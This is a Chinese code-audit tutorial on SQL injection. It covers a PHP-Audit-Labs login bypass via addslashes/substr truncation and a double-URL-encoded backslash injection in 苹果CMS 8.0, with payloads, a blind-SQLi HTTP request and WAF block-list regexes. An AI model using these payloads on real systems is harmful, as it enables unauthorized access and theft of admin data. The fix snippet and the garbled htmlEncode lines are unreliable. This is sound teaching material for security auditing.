开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day13
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 13 - Turkey Baster代码如下:
class LoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}
$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}
漏洞解析 :
这是一道典型的用户登录程序,从代码来看,考察的应该是通过SQL注入
绕过登陆验证。代码 第33行
$auth = new LoginManager($_POST['user'], $_POST['passwd']);
通过 POST
方式传入 user
和passwd
两个参数,通过 isValid()
来判断登陆是否合法。我们跟进一下isValid()
这个函数,该函数主要功能代码在 第12行-第22行
public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
我们看到 上面2行
和3行
调用sanitizeInput()
针对 user
和password
进行相关处理。
跟进一下 sanitizeInput()
,主要功能代码在 第24行-第29行
public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
这里针对输入的数据调用 addslashes
函数进行处理,然后再针对处理后的内容进行长度的判断,如果长度大于20
,就只截取前20个字符
。
具体定义如下:
addslashes() 函数:
(PHP 4, PHP 5, PHP 7)
功能:
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(")
- 反斜杠(\)
- NULL
定义:
addslashes(string)
说明:
参数 | 描述 |
---|---|
string | 必需。规定要转义的字符串。 |
范例:
结果:
Who’s Peter Griffin? This is not safe in a database query.
Who’s Peter Griffin? This is safe in a database query.
那这题已经过滤了单引号,正常情况下是没有注入了,那为什么还能导致注入了,原因实际上出在了 substr
函数,我们先看这个函数的定义:
substr() 函数:
(PHP 4, PHP 5, PHP 7)
功能:
substr() 函数返回字符串的一部分。
定义:
substr(string,start,length)
注释:如果 start
参数是负数且 length
小于或等于 start
,则 length
为0
。
说明:
参数 | 描述 |
---|---|
string | 必需。规定要返回其中一部分的字符串。 |
start | 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始;负数 - 在从字符串结尾的指定位置开始;0 - 在字符串中的第一个字符处开始 |
length | 可选。规定要返回的字符串长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回;负数 - 从字符串末端返回 |
范例:
<?php
// Positive numbers:
echo substr("Hello world",10)."<br>";
echo substr("Hello world",1)."<br>";
echo substr("Hello world",3)."<br>";
echo substr("Hello world",7)."<br>";
echo "<br>";
// Negative numbers:
echo substr("Hello world",-1)."<br>";
echo substr("Hello world",-10)."<br>";
echo substr("Hello world",-8)."<br>";
echo substr("Hello world",-4)."<br>";
?>
结果:
d
ello world
lo world
orld
d
ello world
lo world
orld
那么再回到这里,我们知道反斜杠
可以取消特殊字符
的用法,而注入想要通过单引号闭合,在这道题里势必会引入反斜杠。所以我们能否在反斜杠
与单引号
之间截断掉,只留一个反斜杠呢?答案是可以,我们看个以下这个例子。
在这个例子中,我们直接使用题目代码中的过滤代码,并且成功在反斜杠
和单引号
之间截断了,那我们把这个payload带入到题目代码中,拼接一下 第17行-第19行
代码中的sql语句。
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'
这里的sql语句由于反斜杠
的原因, user = '1234567890123456789\'
最后这个单引号便失去了它的作用。这里我们让pass=or 1=1#
,那么最后的sql语句如下:
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
这时候在此SQL语句中,user
值为 1234567890123456789\' AND password =
,因此我们可以保证带入数据库执行的结果为True
,然后就能够顺利地通过验证。
所以这题最后的 payload 如下所示:
user=1234567890123456789'&passwd=or 1=1#
实例分析:
本次实例分析, 我们选择
苹果CMS视频分享程序 8.0
进行相关漏洞分析 。
漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
漏洞分析:
漏洞的位置是在 inc\common\template.php
(753-755行),我们先看看相关代码:
if (!empty($lp['wd'])){
$where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';}
这里代码的 第2行 位置,$lp['wd']
变量位置存在字符串拼接,很明显存在 sql注入
,但是这个cms
具有一些通用的注入防护,所以我们从头开始一步步的看。
首先在 inc\module\vod.php
文件中(93-97行)的,
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd")); $wd = chkSql($wd);
if(!empty($wd)){ $tpl->P["wd"] = $wd; }}
我们看到 第1行
代码当 $method=search
成立的时候,进入了 第4行
中的be("all", "wd")
获取请求中wd
参数的值,并且使用 chkSql()
函数针对wd
参数的值进行处理。
跟进一下 be()
函数,其位置在 inc\common\function.php
文件中(266-294行),关键代码如下:
function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}
这部分代码的作用就是对GET,POST,REQUEST
接收到的参数进行 addslashes
的转义处理。根据前面针对 be("all", "wd")
的分析,我们知道 wd
参数的值是通过 REQUEST
方式接收,并使用addslashes
函数进行转义处理。
再回到 inc\module\vod.php
文件中的,我们跟进一下 chkSql()
函数,该函数位置在inc\common\360_safe3.php
文件中(27-43行),具体代码如下:
function chkSql($s)
{
global $getfilter;
if(empty($s)){
return "";
}
$d=$s;
while(true){
$s = urldecode($d);
if($s==$d){
break;
}
$d = $s;
}
StopAttack(1,$s,$getfilter);
return htmlEncode($s);
}
分析一下这部分代码的作用,其实就是在 第8行-第12行
针对接收到的的变量进行循环的 urldecode (也就是url解码)
动作
然后在 第15行
,使用StopAttack
函数解码后的数据进行处理,最后将处理后的数据通过 htmlEncode
方法进行最后的处理,然后返回处理之后的值。
我们先跟进一下 StopAttack
函数,该函数位置在inc\common\360_safe3.php
文件中(12-26行),我们截取部分相关代码如下:
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{
$errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-
color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\">
<br>您的提交带有不合法参数,谢谢合作!
<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>
操作页面:".$_SERVER["PHP_SELF"]."<br>
提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
$StrFiltValue=arr_foreach($StrFiltValue);
$StrFiltValue=urldecode($StrFiltValue);
if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
print $errmsg;
exit();
}
if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
print $errmsg;
exit();
}
}
我们看到代码的 第12行-第18行
调用正则进行处理,而相关的正则表达式是$ArrFiltReq
变量。这里 第12行
的 $ArrFiltReq
变量就是前面传入的 $getfilter
,即语句变成:
preg_match("/".$getfilter."/is",1)
我们跟进一下$getfilter
变量。该变量在 inc\common\360_safe3.php
文件中(56-61行),我们截取部分相关代码如下:
//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*
(data|src)=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\
(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\
()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\
(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?
\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+
(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|_get|_post|_request|_cookie|eval|assert|
fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc
_|preg_|call_|ini_|\\{if|\\{else|:php|\\{|\\}|\\(|\\)";
//post拦截规则
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\
(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\
(.*\)|load_file\s*?\\()|<[^>]*?
\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?
([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|
<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\
(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?
\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+
(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|_get|_post|_request|_cookie|eval|assert|
fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc
_|preg_|call_|ini_|\\{if|\\{else|:php|\\{|\\}|\\(|\\)";
//cookie拦截规则
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|be\\(|eval\\
(|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\
(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\
(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?
SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|
(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT";
这串代码的功能显而易见,就是检测 GET,POST,COOKIE
中的恶意数据。刚刚在 chkSql()
函数最后有串代码是: return htmlEncode($s)
; ,我们跟进一下 htmlEncode
函数。该函数位置在inc\common\function.php
文件中(572-586行),相关代码如下:
function htmlEncode($str)
{
if (!isN($str)){
$str = str_replace(chr(38), "&",$str);
$str = str_replace(">", ">",$str);
$str = str_replace("<", "<",$str);
$str = str_replace(chr(39), "'",$str);
$str = str_replace(chr(32), " ",$str);
$str = str_replace(chr(34), """,$str);
$str = str_replace(chr(9), " ",$str);
$str = str_replace(chr(13), "<br />",$str);
$str = str_replace(chr(10), "<br />",$str);
}
return $str;
}
这段代码的功能是针对 &
、'
、 空格
、"
、 TAB
、回车
、换行
、大于小于号
等符号进行实体编码转换。但是这里百密一疏,没有针对其他的空白字符和反斜杠进行处理。这里先埋下一个伏笔,我们继续往下看。
首先注入点是在 inc\common\template.php ,相关代码如下:
if (!empty($lp['wd'])){
$where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';}
我们继续看看这个 $lp['wd']
的值是怎么获取的,在inc\common\template.php
(545-568行)文件中找到其相关代码:
case 'vod':
$tb = 'vod';
$col = '`d_id`, `d_name`, `d_subname`, `d_enname`, `d_letter`, `d_color`, `d_pic`, `d_picthumb`, `d_picslide`, `d_starring`, `d_directed`, `d_tag`, `d_remarks`, `d_area`, `d_lang`, `d_year`, `d_type`, `d_class`, `d_hide`, `d_lock`, `d_state`, `d_level`, `d_usergroup`, `d_stint`, `d_stintdown`, `d_hits`, `d_dayhits`, `d_weekhits`, `d_monthhits`, `d_duration`, `d_up`, `d_down`, `d_score`,`d_scoreall`, `d_scorenum`, `d_addtime`, `d_time`, `d_hitstime`, `d_maketime`, `d_playfrom`, `d_playserver`, `d_playnote`,`d_downfrom`, `d_downserver`, `d_downnote` ';
if(strpos($this->markdes,':content')>0){
$col .= ', `d_content`';
}
if(!empty($this->P["order"])){ $lp['order'] = $this->P["order"]; $this->P["auto"] = true; }
if(!empty($this->P["by"])){ $lp['by'] = $this->P["by"]; $this->P["auto"] = true; }
if(!empty($lp['pagesize'])){
if(!empty($this->P["area"])){ $lp['area'] = $this->P["area"]; $this->P["auto"] = true; }
if(!empty($this->P["year"])){ $lp['year'] = $this->P["year"]; $this->P["auto"] = true; }
if(!empty($this->P["lang"])){ $lp['lang'] = $this->P["lang"]; $this->P["auto"] = true; }
if(!empty($this->P["letter"])){ $lp['letter'] = $this->P["letter"]; $this->P["auto"] = true; }
if(!empty($this->P["class"])){ $lp['class'] = $this->P["class"]; $this->P["auto"] = true; }
if(!empty($this->P["wd"])){ $lp['wd'] = $this->P["wd"]; $this->P["auto"] = true; }
if(!empty($this->P["pinyin"])){ $lp['enname'] = $this->P["pinyin"]; $this->P["auto"] = true; }
if(!empty($this->P["tag"])){ $lp['tag'] = $this->P["tag"]; $this->P["auto"] = true; }
if(!empty($this->P["starring"])){ $lp['starring'] = $this->P["starring"]; $this->P["auto"] = true; }
if(!empty($this->P["directed"])){ $lp['directed'] = $this->P["directed"]; $this->P["auto"] = true; }
if(!empty($this->P["typeid"])){ $lp['type'] = $this->P["typeid"]; $this->P["auto"] = true; }
if(!empty($this->P["classid"])){ $lp['class'] = $this->P["classid"]; $this->P["auto"] = true; }
if(!empty($this->P["ids"])){ $lp['ids'] = $this->P["ids"]; }
}
上图第13行
,当P['wd']
不为空的时候,$lp['wd']
是从 P["wd"]
中获取到数据的。根据前面我们的分析,在 inc\module\vod.php
文件中的存在这样一行代码: $tpl->P["wd"] = $wd
;
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd")); $wd = chkSql($wd);
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
而wd
是可以从REQUEST
中获取到,所以这里的wd
实际上是可控的。
漏洞利用:
现在我们需要针对漏洞进行验证工作,这就涉及到POC的构造。在前面分析中,我们知道 htmlEncode
针对 &
、 '
、 空格
、"
、 TAB
、 回车
、 换行
、 大于小于号
进行实体编码转换。但是这里的注入类型是字符型注入
,需要引入单引号
来进行闭合,但是 htmlEncode
函数又对单引号进行了处理。因此我们可以换个思路。
我们看到注入攻击的时候,我们的 $lp['wd']
参数可以控制SQL语句中的两个位置,因此这里我们可以通过引入 反斜杠
进行单引号的闭合,但是针对前面的分析我们知道其调用了 addslashes
函数进行转义处理,而 addslashes
会对反斜杠
进行处理,但是这里对用户请求的参数又会先进行url解码
的操作,因此这里可以使用 双url编码
绕过addslashes
函数。
if (!empty($lp['wd'])){
$where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';}
进入搜索:
抓包:
这里我没有复现成功
POST /maccms8/index.php?m=vod-search HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Connection: keep-alive
Upgrade-Insecure-Requests: 1wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(
sleep
(3)),0)#%25%35%63
payload传到程序里,经过拼接后的数据库语句如下所示:
修复建议:
这里的防御手段其实已经很多了,但就是因为这么多防御手段结合在一起出现了有趣的绕过方式。
function htmlEncode($str)
{
if (!isN($str)){
$str = str_replace(chr(38), "&",$str);
$str = str_replace(">", ">",$str);
$str = str_replace("<", "<",$str);
$str = str_replace(chr(39), "'",$str);
$str = str_replace(chr(32), " ",$str);
$str = str_replace(chr(34), """,$str);
$str = str_replace(chr(9), " ",$str);
$str = str_replace(chr(13), "<br />",$str);
$str = str_replace(chr(10), "<br />",$str);
$str = str_replace(chr(92), "<br />",$str); //新增修复代码
}
return $str;
}
反斜杠的ascii码是92,这里新增一行代码处理反斜杠。
结语
再次感谢【红日团队】